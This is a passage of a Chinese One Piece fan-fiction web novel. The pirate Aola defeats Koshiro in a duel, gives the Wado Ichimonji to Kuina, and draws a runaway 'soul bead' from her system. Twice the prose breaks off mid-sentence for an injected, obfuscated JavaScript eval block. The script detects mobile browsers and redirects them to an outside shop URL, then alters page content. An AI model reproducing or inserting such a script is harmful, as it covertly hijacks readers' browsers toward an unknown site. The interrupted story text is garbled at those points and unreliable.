她努力不让自己往坏方向想,跟在古伊娜的身后走进了附近一栋和风的房屋里。 大人们都在这里,同时她也见到了古伊娜的父亲,霜月耕四郎。是个带着圆框眼镜,面容和善的男人,给人一种性格温润的感觉。 只不过,奥拉曾经跟着古伊娜执念进入过那段被否认的记忆,因此无论这个男人表面看起来多么好相处,都无法抹消奥拉对他的坏印象。 于是在古伊娜向耕四郎表明奥拉来意后,奥拉毫不客气地抽出了腰间的佩刀对准耕四郎 “大人的话,就用真刀怎么样。” 耕四郎微怔,没有第一时间接下挑战,而是略带迟疑的口吻试探道:“你...是奥拉?” 他声音落在场馆中,激起了四周的窃窃私语,更有听到她的名字直接站起来想要离开但被同伴拦下的人。 奥拉并不意外,从他们的反应来看,估计是看到了悬赏令吧。 “是我。” 耕四郎眉头挤成川字,脸上带着戒备:“悬赏金一亿的海贼,到我的道场有何贵干?” 欸?一亿? 奥拉猛然睁大眼睛,被自己这夸张的赏金砸昏了头。她想过悬赏金会很高,但没想到这么高,她这可是初次悬赏,海军们都疯了吗? 一直在装死的系统在这时突然出声:“检测到您成功完成任务——由我掌控的命运,向着蔚蓝前进。成功引起国家内乱,挑战世界政府权威,招揽的得力属下。您的评分为S,系统奖励10能量点,请稍后查收。” “此次事件里您的赏金为1亿贝里,您伟大的名声初次远扬四海,达成小有名气成就,特奖励每日能量点+1。请您再接再厉,早日成为驰骋大海的王霸之主~” “争霸日志已更新。” 像是怕被奥拉追问似的,系统一口气弹完所有通知就又立刻销声匿迹,独留奥拉自己消化这些繁杂的信息。 就在奥拉被系统消息牵制住愣神的时间,道馆内的大人们皆都起身,手持竹刀对准奥拉,将奥拉团团围起。 耕四郎将古伊娜护在了身后,并没有发现古伊娜始终看向奥拉的眼神中,出现了即是震惊又带着浓浓的茫然的复杂情绪。 古伊娜不清楚对面的女人是谁,她只知道对方是个剑客。 女剑客。 她抿起唇——她的剑术再强还能强过身为男人的父亲吗?那是不可能的。 可大家为什么都如此忌惮她呢? 眼前的事情要比系统信息更紧急些,奥拉还是能分出轻重缓急的,暂且把系统信息抛之脑后。 她隐晦的瞥了眼耕四郎身后的古伊娜,转而拉下脸阴恻恻的,把凶恶海贼的模样表现的淋漓尽致:“听说你这里有把好刀。” “如果我赢了,把你的刀交出来,我不会伤害你们这里的人。” “要是我输了随你处置,怎么样?” 这是不得不接下的挑战,奥拉没给耕四郎拒绝的余地,耕四郎也不会给臭名远扬的海贼在道馆里胡作非为的机会。 霜月耕四郎脸上惯有的和善笑容已然消失,只剩下平静的审视。须臾他对身后的女儿温声道:“古伊娜,可以帮我把和道一文字拿过来吗?” 古伊娜视线从陌生剑客转到父亲身上,张了张嘴,最终还是低头应声:“好的,父亲大人。” 看着古伊娜离开的背影,奥拉像是随意问起:“那孩子,也是你们道馆的学徒?” 霜月耕四郎抬手示意学徒们稍安勿躁,并为决斗清出场地。听到奥拉的话他略有迟疑,不过还是给出了回答:“...她是我的女儿。” 他顿了顿,圆框镜片上反射的白光遮住了他眯起的眼睛,声音很是平静。 “不过她已经不是剑士了。” “不是剑士啊...” 奥拉轻飘飘的终结话题,没人知道她的心中被这句话掀起了怎样的惊涛骇浪。 不出片刻,古伊娜双手捧着刀走回了道场。 待耕四郎接过刀后,明明依旧是不变的眯眯眼,身上温润的气质却悄然褪去,锐利的锋芒昭然若揭。 毋庸置疑,霜月耕四郎很强。 周围压着嗓子的讨论逐渐收声,围观的人似乎要比场上对峙的两人还要紧张。 古伊娜挨着大人们席地而坐,双手规矩的置于两腿之上,不知觉中竟也跟着周围的人一样屏息凝神。 场上,奥拉率先摆出了起手式。摒弃掉所有她自己的感悟与摸索出来的熟悉框架,回归到最初与古伊娜学习时最基础不过的架势。 简单、无趣。 但仅是这无味的准备动作,便让场馆里的寂静消失,无数讶异与低低的讨论在人群里炸开。连耕四郎镜片眯起的眼睛都稍稍睁开了些,落到奥拉身上的视线中多出了更多的探究。 各个教人如何用剑的道馆里,虽然教的东西看起来都是一样的,但其中还存在着微妙的流派差异。哪怕是固定的基础劈砍,不同的地方也会产生不同的风格。外行人可能很难看出这其中的差别,但只要是有传承的剑士不会看不出来。 奥拉使剑的姿势毫无疑问是一心道场的传承。 在场的众人不可能认错,可另一个问题又跟着涌现:一个外来的海贼又为什么会她们道馆的剑招? 奥拉不知她们心中所想,只专注在眼前的对手上。她微微压低重心,如捕猎的野兽般死死锁定耕四郎,等待他瞬间出现的破绽。 几乎只在一个呼吸间,奥拉身影猛然前进。刀锋割裂凝滞的空气,在空中留下银色的虚影。这一招毫无花哨,仅携带着逼人的压迫与原始的战意。 耕四郎身形未动,在奥拉刀锋当头砸下时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148388|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他才拔剑出鞘,以攻为守。 “铛!” 两把铁剑碰撞交鸣,一击下去已经无需浅薄的试探。 奥拉的动作迅疾如风,常规的招式在她手里变成了柔软却致命的毒蛇,泛着寒光的剑刃从各个刁钻的角度钻进耕四郎的防备区,被挡下后立即调转方向,下一击接踵而至。 撞击声接连响起,火星从两把剑的交接处迸溅。奥拉的攻势如狂风暴雨,让人应接不暇。耕四郎从最初的进攻逐渐转为被动的防守,即便防御仍旧牢固,却还是不可避免的表现出了被逼入下风的表象。 学徒们为这场让人忘记呼吸的战斗聚精会神之际,只有古伊娜不自觉攥紧了拳头。 女人也能这么强吗? 连父亲也可以打败吗? 咚、咚... 她情不自禁的摸上胸前,感受着胸腔中那颗沉寂下去的心脏,它正跟随着不断响起的剑鸣有力跳动。 倏尔她眼睫颤了颤,那股莫名的激动突然被某种不知名的力量抽空了似的,让她重归平静。当她再次把目光放回到场上时,眼中添上了层理智到极点的冷淡——那女人再强又和她有什么关系呢?剑道这种不适合女孩子的东西,她早就不想再碰了。 古伊娜手里抓了个空,重新将手摆回它该在的位置上去。 场上,耕四郎的眉头越皱越深,找准时机他反手变招,终于打断了奥拉的攻势。 几次交手下来,他的困惑更深了:“你...” 可能连古伊娜本人都忘记了过去她是如何用剑的,但身为父亲和道场主的耕四郎不可能分辨不出女儿的招式。 奥拉扬起了个还算爽朗的笑脸:“......你的剑术如此厉害,为什么不传承给你的女儿呢?” 她的问题很突兀,耕四郎盯着她的面孔看了半响后,缓缓叹了口气似是无可奈何。 “是古伊娜自己放弃的,我尊重她的选择。” “自己放弃?” 奥拉若有所思。 古伊娜被点名后挺直腰板,同样直视着在她眼里有些莫名其妙的女人:“我的事情和你无关吧。” 这基本就是默认耕四郎的话了。 奥拉沉默了,不在主动攻击。不知耕四郎是出于什么心理,竟也方向了剑,直直的看向奥拉。 奥拉闭了闭眼,面无表情的唤出系统。 “系统,是因为转运珠抽走了古伊娜的执念,她才放弃的剑道吗?” “可以这样理解。” 系统仿真的人声冷冰冰的,落到奥拉耳朵里,让她身上像是结了层寒霜。 “为什么要这样做,你这样和随意毁掉别人人生的做法有什么区别?!” “但她活下来了不是吗?” 古伊娜放弃了剑道,可是她顺利的活下来了。没有孤零零死在某个平常的黑夜里,没有成为索隆记忆中约定好的未来。而她的执念成为了系统送给奥拉的刀,一把有用的、听话的工具。 在系统看来,这实在是笔双赢的买卖。 奥拉无法接受系统的理直气壮,可蒙受了好处的人是她,她又有什么脸面、什么立场去斥责系统呢。 真是让人不愉快...... 奥拉烦躁的翻转刀柄,平静下去的战意陡然发生了变化。 再次出手前她最后问了系统一句话:“古伊娜还有可能恢复原样吗?” 系统只停了一瞬,“她未来如何,全取决于您的心意。如何发挥用处,也皆取决于您。” 那奥拉便没什么好犹豫的了。 40.古伊娜的选择 来了。 耕四郎抬手架开奥拉的直劈,圆框眼镜后的眼睛微微睁开。 “你为何会使用这套剑术?”他沉声,“你认识小女?” 奥拉没有回答,她与耕四郎拉开距离,努力调整呼吸。肋骨断裂和溺水后的伤势影响太大,手臂和大腿肌肉上传来隐隐的酸胀,让她不得不双手握刀保持稳定。 她下齿碾过唇内软肉,视线跳过眉头紧皱的耕四郎落到后方满脸淡然的蓝发女孩上,眼中闪过一丝银光。 未等呼吸完全平静下来,她再度前冲。接下来奥拉的攻击方式完全变了。 依旧是耕四郎十分熟悉的基础剑招,但无论是发力角度还是步伐节奏都有细微的变化。就像是忽然打开了某种隐形的枷锁,彻底放开了手脚似的,将那些融入骨血的基础式全部拆开重组。 从一板一眼的基本功俨然变成了无拘无束的自由剑法。 只不过是基本功上微妙的调整,看起来朴实无华却带着强烈的个人风格。 耕四郎曾见过许多野路子剑士,可从未碰见过如此难缠的。奥拉的剑法在做了调整后,虽随心所欲却破坏了原本的结构,导致她动起来时处处都是破绽。可即便是这样,拥有高超剑道水平的耕四郎也无法顺利终结比赛。 耕四郎很快意识到,奥拉真正难缠的不是那‘新颖’的剑法,而是在战斗中可以随意改变破绽的能力。 每当耕四郎要向之前那样打断奥拉攻势时,她总能以各种姿势、角度破解耕四郎的攻击。 奥拉的速度、力量与堪称恐怖的反应力完全超出了耕四郎对女剑士的认知。 这已经很厉害了,只不过... 耕四郎注意到了奥拉紊乱的呼吸和越来越快的节奏,微微叹气。 女性的体能力量和男性的体能力量天生便有着极大的差别,这种差别会在年龄的增长中不断拉大,最后形成一道鸿沟。现在看来,哪怕是被悬赏至一亿贝里的大海贼也无法超越这天生的人体极限。 “铛!!” 一击沉重的撞击过后,奥拉与耕四郎都被对方的力道震得后退大步,彻底拉开了距离。 耕四郎很清楚只要再拖下去,奥拉是必输无疑的。但他没有那么做,他收刀回鞘,摆出居合斩的起手式,周身的气场陡然一变,剑士的锐利从轻合未合的刀鞘里钻出蔓延。 “最后一招。”他说。 对此奥拉也回以相同的招式,只是比起耕四郎她的姿势不太标准,像是完全摒弃了最早时基本流打法。 居合对居合,这场战斗将结束在这最后的一斩中。 现场的氛围近乎停滞,所有人的呼吸全部收紧。古伊娜怎么也控制不住自己的眼睛,死死盯着场上那个陌生的女海贼。 拔刀! 两人同时动了。 和道一文字如电光炸裂,直取奥拉中心脏腑。 可反观奥拉,在拔刀的最后一刻反悔,又将刀送回刀鞘。她躲过锋利的刀刃,猛然向前扑到。勾住耕四郎的小腿固定其位置后,身体蜷缩成一团。一手撑地,双腿猛蹬,从中央直逼耕四郎的面门。 一切发生在瞬间。 耕四郎反应极快后仰躲避。 奥拉眸光闪烁等的就是这一刻。她双腿失去目标后紧紧并和,夹住耕四郎的手臂,旋即整个人借力旋转至上空。耕四郎被陡然加重的力量带偏重心,退去两三步后还是不堪重负的跌倒在地。就在这时,奥拉已完全站起身,刀鞘利落压住耕四郎的咽喉。 耕四郎的速度更慢些,可也在反应过来后快速抬手,刀刃削掉了奥拉丝缕黑发,同样停在了对方的脖颈处。 奥拉先一步制服耕四郎,可耕四郎再动一下就能杀了奥拉。 全场死寂。 耕四郎沉默良久,移开了刀:“是我输了。” 若奥拉没有将刀收回鞘中,那他现在已经死了。输给女人,耕四郎没什么接受不了的。只他暗暗心惊对方居然能把攻击路线计算到这种程度...他虽未用尽全力,可奥拉明显也留手了。 抛掉对方的野路子剑法,作为一个女剑士,奥拉各方面都可以称得上是优秀,只不过也过于天真。 奥拉不知道耕四郎在想什么,她喘着粗气,将刀移开落在地面,微微低头:“承让。” 耕四郎坐起身,他将和道一文字递给奥拉:“你的剑法...太过无拘无束,是或许是好事,也或许会影响你的道。恕我直言,刀剑并不适合你。” 耕四郎的评价很中肯,但不好听。 被在剑道上有高造诣的前辈这样说,换旁人早就心灰意冷或感到愤慨了,而奥拉闻言只是轻巧勾唇:“是吗?” 奥拉不在意耕四郎的评价,耕四郎见状也没有多言下去的兴趣。 她伸手接过和道一文字,目光越过一众呆滞的学徒,再次精准的落在了古伊娜身上。她抓到了古伊娜陡然变化的表情,她眼睫垂落,在这把纯白的刀身上停留良久后,在众人惊愕的目光走,走向了古伊娜。 将和道一文字轻轻的放到了古伊娜的面前。 奥拉一字一句道:“这把刀...给你。” 古伊娜看着这把早已变得陌生的刀一时没有反应过来,大脑一片空白。 而奥拉再给出刀后并未过多停留起身离开。 在路过耕四郎时,她也未说明这样做的理由,只稍稍顿住脚步:“刀我就送给她了,无论她是否使用都是她的自由,你可不要随意收回哦。” 耕四郎深深地看向奥拉,困惑几乎要从面孔中溢出,但他最终还是没有多问,缓缓点头:“……我知道了。” 奥拉点头径直朝场外走去。 围在后面的学徒们带着复杂的眼神自动分开一条路。在门口凑热闹的小孩们见她出来慌忙躲开,还有人太过着急鞋都跑掉了一只。 奥拉全当没看见。 脚步声渐远,场馆内才慢慢有了交谈声。 不过,大多的视线都还聚焦在低头不语的古伊娜身上。 耕四郎看着古伊娜:“古伊娜...” 古伊娜捡起和道一文字,猛地站起。带着明显的焦急,不顾身旁的惊呼朝着门口跑去,她的声音拉的很远;“我马上回来!” 耕四郎未出手阻拦,他看着女儿远去,缓缓地、慢慢地吐出了一口气。 奥拉走出屋子,顺着自己来时的那条小路原路返回。 还没走出几步,身后就传来了急促地脚步声。 “等等!” 奥拉回头,见是古伊娜,她怀中还抱着和道一文字。 奥拉心中顿时有些忐忑,她装作无事发生地样子,淡漠道:“还有事?” 古伊娜在她面前停下,她举起和道一文字送到奥拉面前。 “为什么要给我?”她声音发涩,眼中茫然无处可藏,语气却是强硬的“我已经决定不做剑士了,这把刀你赢了,你该拿走它的!” 即便不做剑士了,她身上也仍保留着剑士基本的尊严。这种毫无道理的馈赠,简直就像是一种嘲笑。 这样想太过狭隘,可古伊娜就是无法控制自己的想象。 如果她没有放下剑的话,未来会不会强到像奥拉一样,早晚有一天也会拥有打败父亲的实力。 早就改忘却的可笑梦想再次浮现——好像成为世界第一的大剑豪。 想到这时,古伊娜只觉得自己的心里空落落的。 又有一道声音在和她说,你是女孩子,不必强求自己。 不必强求,那又有什么意思? 不知从哪一天开始,古伊娜开始觉得剑道的无聊,再也无法激起她任何的情绪,所以她放弃了。 顺其自然,理所应当。 可在看到这个陌生的女海贼与父亲对决时,她又隐隐的觉 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把和道一文字送给古伊娜,就当作是她小小的补偿吧... 她想把选择权留给古伊娜自己。 古伊娜这次没有再追,她愣愣地站在原地,手指无意识摩挲着和道一文字上的纹路。 她还是无法理解奥拉的做法,可她的心跳的很快,快到让她想要握住剑柄,用冰凉的剑止住她浑身的滚烫。 奥拉和古伊娜都没发现,在屋子后方,藏着两个小孩脑袋。 他们看着抱住剑的古伊娜,对视一眼,快速缩回墙后,头挨着头叽叽喳喳的讨论着什么。 其中一个孩子手放在嘴边,低声道:“古伊娜是不是要重新开始练剑了?” “很有可能。”另外一个孩子附和,“连馆主都被打败了,这可是道场之耻!古伊娜作为老师的女儿肯定想复仇!” “噢噢!这可是个大消息,古伊娜要重新练剑了,得把这件事快点告诉索隆!” “那小子肯定很高兴,立马就要去挑战,古伊娜这么久没拿剑说不定真会让索隆那小子赢了呢~” “话说回来,索隆到底哪去了?” 另一边,索隆和米琳的战斗早早告一段落。 绿藻头小男孩被八根箭矢钉在了树上动弹不得。 这八根箭矢分别钉在了他的四肢和□□大腿内侧,只是穿透了衣服并没有伤害到身体。然而,就是这个原因索隆才不能动弹,但凡他要挣脱箭矢的控制,就必定会撕烂衣服,撕烂衣服就代表他有极大可能会在两个陌生人面前裸奔。 尚且年幼,脸皮相当薄的索隆无法接受这样狼狈的结局。 他眼睛泛红,气的够呛。看着米琳一点点搬运完木头,终于忍不住破口大叫:“可恶!我一定饶不了你!” 米琳毫不在意小孩的无能狂怒,走前还勾了勾唇角,“以后可不要轻易招惹海贼了哦~” 说罢她扬长而去。 普鲁伊特蹲在索隆面前,伸出一根手指:“我可以卖给你一次拔剑的机会,拔一根送两根,非~常划算哦~” “或者我可以卖你一身衣服。”比起米琳,他就很和蔼了,“放心,我和她不是一伙的,我只是个商人,相信我孩子!” 小索隆被烦的忍无可忍:“滚!!” 普鲁伊特的人生格言是’将客人当作上帝,也能当作空气’,被拒绝后他不做纠缠,双手抱在脑后,迈着外八字懒洋洋地跟上了米琳的步伐。 走前还十分‘善意’的提醒:“不知道山上有没有狼,孩子你要早点回家哦~” 在索隆的怒视中,身影彻底融入了绿色的树丛中。 这一天发生的一切,不可避免的深深烙印进了索隆幼小的心灵里。成为了未来他选择海贼猎人这个职业的重要原因。 41.三条禁令 在挑战耕四郎事件后,回到船上的奥拉很快被禁足了。 事发当时,普鲁伊特和米琳刚刚归船。隔着门扉普鲁伊特就闻到了股淡淡的血腥味,他进入室内发现奥拉已经醒了,状态可不像是刚睡醒的样子。 她正在医药箱里翻找着什么,见是同伴们回来,她抬头咧嘴一笑。只连她自己都没发现,她嘴边的血迹没擦干净,沿着嘴角往下巴滑出了一条扭曲的线。 普鲁伊特都不用问,只看她身上换新的衣服又染上了污渍,以及处理好的伤口莫名其妙造成了二次损伤,光着两点他就能断定,奥拉在她们都不知道的时候跑出去了,又不知道干了什么事情,把自己伤口崩裂了。 这谁能想到?普鲁伊特帽子上突出井号。 奥拉手边歪倒着不少瓶瓶罐罐,她挠挠头:“你们回来了,可以帮我找一下止痛药吗?” 普鲁伊特大步向前,‘啪’地关上药箱。 “伤口又裂开了?”他遮挡住大半地脸皮笑肉不笑,“我是不是和你说过药品是很宝贵的物资。” 察觉到不对,奥拉别开脸,“啊..嗯..是吧。” 见她逃避,普鲁伊特冷笑一声,枯瘦的手掌抓住奥拉的天灵盖,把人一点点掰回:“还知道疼?知道就别往外乱跑啊!净给人惹麻烦!” 奥拉不语,只一味的心虚。 最终普鲁伊特以浪费药品罪控告奥拉,在米琳的支持下,奥拉被判了伤好之前不准下船的无期徒刑。 在普鲁伊特和米琳难得统一合作的战线下,奥拉一切反抗无效。 原本奥拉还能撬动米琳的。 自从米琳决心要成为一个海贼后,瞒着奥拉做了很多努力。包括但不限于改变自己的说话习惯、走路姿势、初始习惯,这固然让人很难受,但却能让米琳暂且忘记自己被按照模具定制好的前半生。 所以当奥拉向她求助时,她的第一反应是拒绝,理智告诉她奥拉需要休息。可紧接着,她所学习的海贼‘常识’突然冒出,里面明确提及了海贼船上属下要遵从老大的命令,这也符合她对团伙的认知。 在一阵挣扎下,她还是选择了海贼的方式。 然而这一举措,并没有让奥拉感到高兴。 奥拉也知道自己不养好身体是不行的,普鲁伊特别扭的关心她不是看不出来。只是她不想一直憋在船上,所以她要为了自己接下来几天的自由做些反抗。 不过奥拉没想到,在她对战普鲁伊特时请求外援帮助,竟然看到了米琳堪称人格分裂的表现。 这个时候米琳先是言辞拒绝了奥拉,冷静而坚决的站到了普鲁伊特的那边,她下巴微扬像是高傲的白天鹅,简直就像是在下达政令。 然而还没过几秒。米琳又变了副面孔,她上前揪住普鲁伊特的领子把人从奥拉面前拉开,硬让嗓子粗声粗气的:“喂,普鲁,船长命令还是要听的。” 说罢她像是才突然反应过来自己做了什么,身体僵住,揪着普鲁伊特半天没说话。 队友叛变,普鲁伊特顿时火冒三丈,甩开米琳的手。 “我不得不提醒你一下,不是必须遵守那本海贼手册才能成为海贼的!” 米琳面色一白。 “海贼手册...是什么?” 奥拉从普鲁伊特的话中抓到了重点,这些天她从米琳身上隐隐感觉到的不对劲似乎有了答案。 可即便被抓包了,米琳也死守着,什么都不愿意说。 普鲁伊特秉承着保护客人隐私的基本商人素质,也在这时闭上了嘴。 彷佛刚刚两人偶然提到的海贼手册不存在一样。 她们不说,奥拉大抵也能猜到一点。现在回想起来,埃尔维斯的事情米琳怎么可能完全不在意呢。只是她从来都没有表现出来而已。 奥拉沉声:“米琳,无论你想做什么事情都可以,但是不要以伤害自己为代价。” 米琳垂眸不语。 普鲁伊特意有所指:“看吧,奥拉小姐就不像是个海贼。” “我是什么样子,就有什么样的海贼。”奥拉反驳,“在这片大海上,任何人都可以是自由的。” “就当是这样吧。”普鲁伊特敷衍的点点头。转而又做出了惯常那副推销东西的模样,只是语气里听不出喜怒,夹着的嗓子更像是一种暗戳戳的警告,“不过,禁足的事情没有商量的余地,不出贝里的家伙们也请为船上的药品余量上上心吧!!” 奥拉闻言像是受到了什么沉重的打击,整个人都被灰暗包围,她的天一下黑了,几条悲伤的黑线几乎实质化的从头顶落下,好不可怜。 没有给奥拉继续辩驳的余地。 普鲁伊特直接收走了奥拉的佩刀,他看向杵在原地的米琳,眉毛微挑。 “你怎么说?” 米琳看了眼缩在沙发上抱膝无神的奥拉,犹豫了下,转身离开:“就这样吧。” 船上的日子真是漫长。 自奥拉被禁足以来,她已经一周没有下过船了,米琳和普鲁伊特每天也不知道在忙些什么,早出晚归的。空着手出去,带着一堆东西回来。 可根据奥拉的观察,阿盖瑞斯号还是刚坠落那个样子,半点没有被维修的痕迹。 每次在她询问进度的时候,普鲁伊特只含糊的回个:“你别管,很快就好了。”的回答,然后再次忙的不见身影。 奥拉心底的焦躁在这样看不到头的日子里越发膨胀,为了缓解,她开始瞒着两个同伴偷偷锻炼身体。 只是每天做几组俯卧撑而已,以她的体质绝对不在话下。 本该是这样的,可她还是高估了她这个外来人的身体素质。四年的成长给了她太多错觉,以为自己成了路飞那样吃一顿就能恢复的超强体质。 恢复运动还没做几天,她就再次因为扯到伤口疼的满地打滚。 最后还是归船的米琳发现了她。 自从那天奥拉单方面对话以后,米琳的行为似乎有所收敛,当着奥拉的面多数时都是原本那副样子。 所以面对奥拉她一点也没手软,讲究什么老大下属的等级论。 米琳这个狠心的女人,毫不犹豫的向普鲁伊特举报了奥拉。 当天,禁足令的基础上就又加了条禁止各种形式身体锻炼令,且此后不再对奥拉因私自锻炼产生的后果提供医疗救助。 奥拉强烈反对,但二对一,反对无效。 动不行,她吃还不行吗? 奥拉开始化悲愤为食欲,每日在船上吃吃吃。 尝试从零学会生命归还。 可她本就是普通人体质,不会因为四年的锻炼就脱离普通人的范畴。 也就导致她早上一顿二十人份的三明治吃完能一直顶到晚上,身体不但没见好转,反而越吃越想吐。 于是第三条禁令出现了,奥拉一天只能吃三顿饭且不得超过盘子能承受的范畴。 美名其曰节约物资。 三条禁令压在奥拉的身上,让她久违的进入了无事可做的悠闲时光。 在船上无所事事了几天后,奥拉终于想起了被自己抛到脑后的事情。 她点开系统屏幕。 【争霸系统1773( ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157703|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已激活) 能量点:11(每日能量点+1) 能力: 1.翻 2.宝葫芦 ①转运珠/三级(1000/5000) 争霸日志: 1.为绝望填充愤怒的炮火,勇气是人类的赞歌。通过等级2星 2.由我掌控的命运,向着蔚蓝前进。通过等级???】 新的争霸日志应该就是埃尔维斯国遇到的事件了,奥拉这才想起自己完全可以进入争霸日志动动手脚。 她记下这一点,视线往上看。 以前她以为转运珠升级过后可能会使古伊娜的神智慢慢恢复,有一点能量就all in 这才把转运珠供到三级,要不是知道古伊娜本人还活着,她肯定就继续升级了。可现在这显然不是一个好的选择。 那么她是要把能量点攒起来更好呢,还是试一试宝葫芦更好呢? 奥拉沉思片刻。 “系统,宝葫芦抽出来的都是转运珠吗?” 如果都是转运珠的话,奥拉绝对不会再碰这个邪恶葫芦一下。 “并不是哦~宝葫芦中的奖品非常丰富~” “听起来像是普鲁那家伙的推销词”奥拉不受诱惑,她想了想,“有没有追踪或者召唤之类的工具,可以让我找到转运珠?” “有的,未来霸主大人,都有的~” 系统像是骗氪的游戏策划,偏偏奥拉这种赌狗屡次上当。 抽不出来是后悔的,再来一次是必须的。 她现在没有任何关于转运珠位置的消息,若是抽出了什么有用的东西,接下来的行程就有目标了,而且也不算浪费这些能量点。 奥拉抽之前,虔诚的洗干净了手,向玉皇大帝佛祖菩萨哪吒二郎神孙悟空土地公耶稣等所有她还记得的神仙都祈祷了一遍,这才跪坐在沙发上,使用了抽取。 十能量点瞬间消失。 小小的葫芦图标发出亮光,和记忆中如出一辙的剧烈摇动,酝酿着,有什么东西即将从葫芦嘴逃出。 奥拉双手合十,心中默念:召唤定位召唤定位召唤定位! 咕噜—— 有球体滚落的声响。 这熟悉的声音,让奥拉心脏咯噔一下。 她定睛看去,和她想的没错——还是颗珠子,它正泛着粉润的光泽,停滞在空中。 有前车之鉴,奥拉立刻双手抓住这颗珠子。在手接触到的瞬间,珠子的介绍也弹了出来。 【??魂珠(0级,极其脆弱)】 不是,魂珠又是什么? 这个‘魂’字让奥拉有种不好的预感。 这时,她手中的魂珠动了动,大量粉光赫然穿过奥拉的指缝,又在空气中拧成一条线,飞快地穿透了天花板,向外投射出去。 与此同时,系统播报再次出现:“警告,灵魂出逃!灵魂出逃!魂珠极其脆弱,将在72小时内进入自毁状态,请宿主尽快找回!” 它一连播报了三遍。 奥拉脑子里满是嗡鸣,她后知后觉的敞开手掌,这才发现,珠子周身的光泽已经近乎于无。 这意料之外,又意料之中的变故让她疲惫的叹出一口郁气。 “魂珠是什么?” “魂珠里面的灵魂是谁的?” “她怎么又跑了?” “这些珠子怎么都喜欢到处跑?” 古伊娜的事情还没结束,又多出了个72小时自动消失术,奥拉现在很想穿回到五分钟前给自己一巴掌:赌狗就是会一直输啊! 42.魂珠 “魂珠,顾名思义,便是存放灵魂的宝珠。” 面对逐渐抓狂的奥拉,系统表现的很平静。 “里面的内容物...抱歉,她跑的太快,连作为召唤者的您都不知晓的话,我也无法判断她究竟是谁。” “至于她为什么跑...”系统停了停,用一种迷之自信的炫耀语气继续道:“可能是被宿主的王霸之气吓跑了吧。” 奥拉翻了个大白眼,对于系统时不时就会蹦出来的彩虹屁她已经习以为常。她不为所动,并且提出质疑。 “我是召唤者?”她犀利的指出,“不是说宝葫芦不具备召唤或复活亡灵的能力吗?” “确实不具备该能力。魂珠只具有保存灵魂的能力,存于里面的灵魂并未真正死亡。” 好家伙,在这卡BUG呢。 奥拉警觉:“别告诉我魂珠也是随意抽取在世之人的灵魂。” “那倒没有。”系统否认的很干脆。 听到否定的回答,奥拉缓缓松了口气。 “是保留了濒死之人的身体与灵魂,与她们达成协议,以她们成为对宿主有用的工具为代价来延续自己的生命。” 好像听到了不得了的发言。 奥拉表情僵住,倏尔在空无一人的房间里哈哈笑了两声,告诉自己绝对是听错了。 然而系统这时却非常诚实,竹筒倒豆子般把魂珠的事情说了个一干二净。 “居然还敢出逃,幸亏她的身体还在我们手中。” 等、 “宿主不用担心,魂珠的忠诚本就不如转运珠,虽然浪费了能量点有些可惜,但这是必要的支出不必太过放在心上。” 等等!身体在我们手上? 奥拉都没功夫去反驳系统的工具论,系统的一系列暴论把奥拉的侥幸心理全部砸掉。 可偏偏系统还要在她岌岌可危的神经上疯狂蹦迪。 “哦,忘了告诉您是我的失误。魂珠的本体就是您手上的宝珠,也是她们灵魂本来的身体。” “如果您对她出逃的行为感到不满,也可以毁掉宝珠,让她去她本该去的地方。” 奥拉:???? 奥拉忽地看向手中暗淡的魂珠,两个眼球差点瞪出眼眶。 这是身体?! 她顿时感觉手上如有实质似的,从轻飘飘变得沉甸甸。 人家的身体怎么能随便放在手掌上! 她小心翼翼轻拢起手掌,环顾四周,最后把珠子用毛巾层层裹起来,才轻轻放进口袋里。 紧接着,奥拉一头扎进沙发柔软的坐垫里,张开嘴海豚音就飚了出来。 事实证明,系统还是那个系统,迫害宿主有一套的。 这下转运珠的事情就得先往后放放了,至少她得要先去找到这个跑掉的灵魂。 哪怕知道这个灵魂将在72小时后破散死亡是她自己跑出去的结果,奥拉也没办法完全忽视她的存在,谁让这是她自己抽出来的呢,谁让这又是系统做的‘好事’呢? 难道系统的真实目标是把她变成炒鸡无敌大反派吗? 奥拉现在觉得这很有可能。 她埋在软垫下的声音发闷:“她知道自己离开会死吗?” “这是自然,我们可是平等的交易。” 是,‘平等’的恶魔契约。 奥拉暗中腹诽。 她翻身,身体半摊在沙发上。抬起脸看向空中隐约指向外界的粉光不由沉思:有什么东西能让一个想要活下去的灵魂再度放弃生命呢? 如果有那样的存在,那么就算奥拉找到了对方,估计也无法让其回到宝珠里吧。 可想是这么想,灵魂她还是要去找的。 “欸....” 72小时时间实在是太紧凑了,剩下等待同伴们回来的时间里,奥拉一直在为询问进度和催促出海这两件事上措辞。 直到晚饭时间,普鲁伊特和米琳带着一堆东西回来后,奥拉这边还没把精心准备的说辞讲出来。普鲁伊特就手动放下了船帆。 “我们可以出发了。” 奥拉的话憋了回去,她看看没有丝毫维修痕迹的船身:“可是船还没修...” 普鲁伊特看了奥拉一眼:“可我不会修船。” 他双手摊开,语气理所当然。 不是,那我们在这里停留这么长时间是为了什么? 看出了奥拉的困惑,普鲁伊特低哼两声。迈出华丽的步伐,两个丝滑转身,双手上下大开,做出一个大于号的姿势。 他双手之间,头发金光闪闪的米琳正站在那。她抬眼一看,很快领悟普鲁伊特的意思,手撑开麻袋把里面的东西露出来给奥拉看。 